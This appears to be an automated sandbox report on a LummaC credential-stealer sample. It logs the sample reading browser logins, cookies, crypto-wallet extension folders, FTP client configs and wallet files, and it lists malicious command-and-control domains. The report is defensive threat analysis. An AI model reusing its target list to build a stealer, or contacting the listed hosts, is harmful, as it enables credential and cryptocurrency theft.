Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match	File source: 00000004.00000003.2560508442.0000000000F54000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NHEXQatKdE.exe PID: 4156, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: NHEXQatKdE.exe PID: 4156, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	141 Security Software Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	11 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	23 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
NHEXQatKdE.exe	61%	ReversingLabs	Win32.Packed.Generic
NHEXQatKdE.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://grannyejh.lat/7	100%	Avira URL Cloud	malware
https://grannyejh.lat/z	100%	Avira URL Cloud	malware
https://grannyejh.lat/piN	100%	Avira URL Cloud	malware
https://grannyejh.lat/4	100%	Avira URL Cloud	malware
https://grannyejh.lat/v	100%	Avira URL Cloud	malware
https://grannyejh.lat:443/api/	100%	Avira URL Cloud	malware
https://grannyejh.lat/E	100%	Avira URL Cloud	malware
https://grannyejh.lat/N	100%	Avira URL Cloud	malware
http://crl.microsoft.	0%	Avira URL Cloud	safe
https://grannyejh.lat:443/apiw	100%	Avira URL Cloud	malware
https://contile-images.serv	0%	Avira URL Cloud	safe
https://grannyejh.lat/c	100%	Avira URL Cloud	malware
https://grannyejh.lat/d	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
grannyejh.lat	172.67.179.109	true	false		high
sweepyribs.lat	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
necklacebudi.lat	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
energyaffai.lat	false	high
https://grannyejh.lat/api	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/z	NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	NHEXQatKdE.exe	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	NHEXQatKdE.exe	false		high
http://ocsp.sectigo.com0	NHEXQatKdE.exe	false		high
https://grannyejh.lat/v	NHEXQatKdE.exe, 00000004.00000003.2922757214.0000000000F60000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923799804.0000000000F62000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	NHEXQatKdE.exe	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	NHEXQatKdE.exe, 00000004.00000003.2494211477.0000000003499000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	NHEXQatKdE.exe	false		high
https://grannyejh.lat:443/api	NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.micro(	NHEXQatKdE.exe, 00000004.00000003.2718810987.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	false		high
